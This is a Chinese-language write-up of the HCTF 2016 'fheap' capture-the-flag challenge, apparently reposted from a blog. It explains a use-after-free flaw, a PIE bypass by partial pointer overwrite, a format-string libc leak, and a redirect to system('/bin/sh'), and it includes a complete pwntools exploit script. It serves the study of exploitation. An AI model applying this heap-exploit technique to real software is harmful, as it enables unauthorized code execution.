2016 hctf fheap 题解
題目鏈接
https://github.com/zh-explorer/hctf2016-fheap題目分析
題目功能只有 malloc 和 free 的功能,查看堆的布局:全局指針沒有置空,導(dǎo)致 uaf 和 double free 漏洞,兩種都可以做,但是這題的重點(diǎn)是繞過 PIE。
- double free 完了之后,會(huì)導(dǎo)致下面的情況
這里需要注意一下 create 函數(shù)的邏輯:如果輸入的字符串的長(zhǎng)度大于 15,則重新 maloc 一塊堆塊用來(lái)存放字符串,如圖:
但是這里還是選擇使用 uaf 來(lái)做。整體思路
malloc 兩個(gè)堆塊,delete 兩個(gè)堆塊
重新 malloc 一個(gè)堆塊,size 大于 24,這樣就 malloc 到原來(lái)的堆塊的區(qū)域,因?yàn)槿?flag 處還存放著原來(lái)堆塊的指針,所以存在 uaf 漏洞。
因?yàn)檫@里存在溢出,可以覆蓋 free_ptr 指針,在開啟 pie 的情況下,覆蓋最后一個(gè)字節(jié)使得 free_ptr 被覆蓋成 puts ,接著 delete 堆塊時(shí)相當(dāng)于輸出 puts 函數(shù)的地址,得到基地址。
重復(fù)上一步,接著覆蓋 puts 指針為 printf 函數(shù)的指針,構(gòu)造一個(gè)格式化字符串漏洞,輸出得到libc地址
重復(fù)上一步,覆蓋 printf 指針為 system 函數(shù)的指針,布置好 "/bin/sh",接著 delete 就調(diào)用了 system 函數(shù)
- 格式化字符串那里存在問題,無(wú)法正常找到 libc 的地址,只能隨便找到一個(gè) ld 庫(kù)的一個(gè)地址,但是這里的偏移都是一樣的。
EXP
#!/usr/bin/pythonfrom pwn import * DEBUG = 1if DEBUG:r = process('./pwn-f')elf = ELF('./pwn-f')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else:r = remote('127.0.0.1',4444)def create(size,content):r.recvuntil("3.quit")r.sendline("create ")r.recvuntil("Pls give string size:")r.sendline(str(size))r.recvuntil("str:")r.sendline(str(content))def delete(idx):r.recvuntil("3.quit")r.sendline("delete ")r.recvuntil("id:")r.sendline(str(idx))r.recvuntil("Are you sure?:")r.sendline("yes") create(10,"aaa") create(10,"bbb")delete(1) delete(0)create(25,'f'*24+p8(0xE4))delete(1) r.recvuntil("f"*24) puts_addr = u64(r.recvline("\n")[:-1].ljust(8,"\x00"))base_addr = puts_addr - 0xde4 success("base_addr :" + hex(base_addr))r.sendlineafter("Are you sure?:","H4lo")delete(0)printf_plt = base_addr + elf.plt['printf']payload = "%51$s^^".ljust(24,'A') payload += p64(printf_plt)create(32,payload)delete(1) addr = u64(r.recv(6).ljust(8,'\x00'))success(hex(addr))success("libc_addr :"+hex(addr+0xaf8-0x5d2000)) libc_addr = addr+0xaf8-0x5d2000 # 取到偏移delete(0)payload = "/bin/sh;".ljust(24,'A') payload += p64(libc_addr + libc.symbols['system'])create(32,payload)r.interactive()參考:
https://github.com/zh-explorer/hctf2016-fheap https://www.cnblogs.com/shangye/p/6156350.html https://www.xctf.org.cn/library/details/21e9451548a2b5d01dcf411e90ba968fc54ac9a5/ https://blog.csdn.net/qq_33528164/article/details/79515831轉(zhuǎn)載于:https://www.cnblogs.com/H4lo/p/10611990.html
總結(jié)
以上是生活随笔為你收集整理的2016 hctf fheap 题解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: nginx获取客户端请求的真实IP
- 下一篇: 数据库成绩管理系统课程设计mysql_数